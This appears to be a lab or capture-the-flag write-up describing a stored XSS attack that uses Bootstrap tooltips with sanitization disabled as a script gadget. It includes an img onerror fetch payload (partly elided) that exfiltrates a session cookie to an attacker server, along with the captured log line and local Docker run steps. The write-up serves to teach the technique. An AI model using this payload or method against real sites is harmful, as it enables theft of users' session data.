

Script Gadget

1. Summary

The objective was to demonstrate a **Stored XSS** attack utilizing a **Script Gadget** to bypass Bootstrap's built-in security controls. By hovering over a deceptive "Upload Photo" button, a malicious action is triggered that exfiltrates the victim's sensitive data (the flag.txt: websec{1337}).

2. Vulnerability Analysis

- **Primary Vulnerability (XSS):** The application's rendering engine lacks proper input sanitization, allowing for the injection of malicious HTML attributes into the DOM.
- **The "Script Gadget" (Bootstrap Tooltips):** Instead of a traditional `<script>` tag, we leveraged the Bootstrap Tooltip library. Because Bootstrap is a "trusted" library, its internal logic can be weaponized to execute code hidden within non-script tags (like `<img>`).
- **The Bypass:** Bootstrap tooltips use an internal sanitizer with an allowlist to prevent XSS. However, by setting the configuration property `sanitize: false`, we bypassed these protections, allowing the execution of the `onerror` event handler.

3. Attack Methodology

1. **Data Preparation:** The server utilizes the Node.js `fs` module to read `flag.txt` and dynamically inject it into the `session_token` cookie.
2. **Weaponization:** A "Profile Settings" UI was designed with a deceptive button. The malicious payload was embedded in the `title` attribute: `<img src=x onerror="fetch(...)">`.
3. **The Trigger:** The attack relies on a "Hover" event. When the victim hovers over the button, the Bootstrap Tooltip component renders the payload. Since the image source `x` is invalid, the `onerror` event executes the exfiltration script.

4. Evidence of Exfiltration

The attacker-controlled server (Port 9000) successfully intercepted the session data. The following entry was captured in the Docker logs:

```
"GET /?loot=...session_token=websec%7B1337%7D HTTP/1.1" 200 -
```

The capture of the flag proves that an attacker can gain unauthorized access to session data through a simple user interaction.

5. How to run:

- a. Run: `docker compose up --build` to start the docker
- b. Then, after the command above initiates, Ctrl + right click on the URL provided <http://127.0.0.1:8000/>
- c. Hover the mouse over the bottom and check the docker's log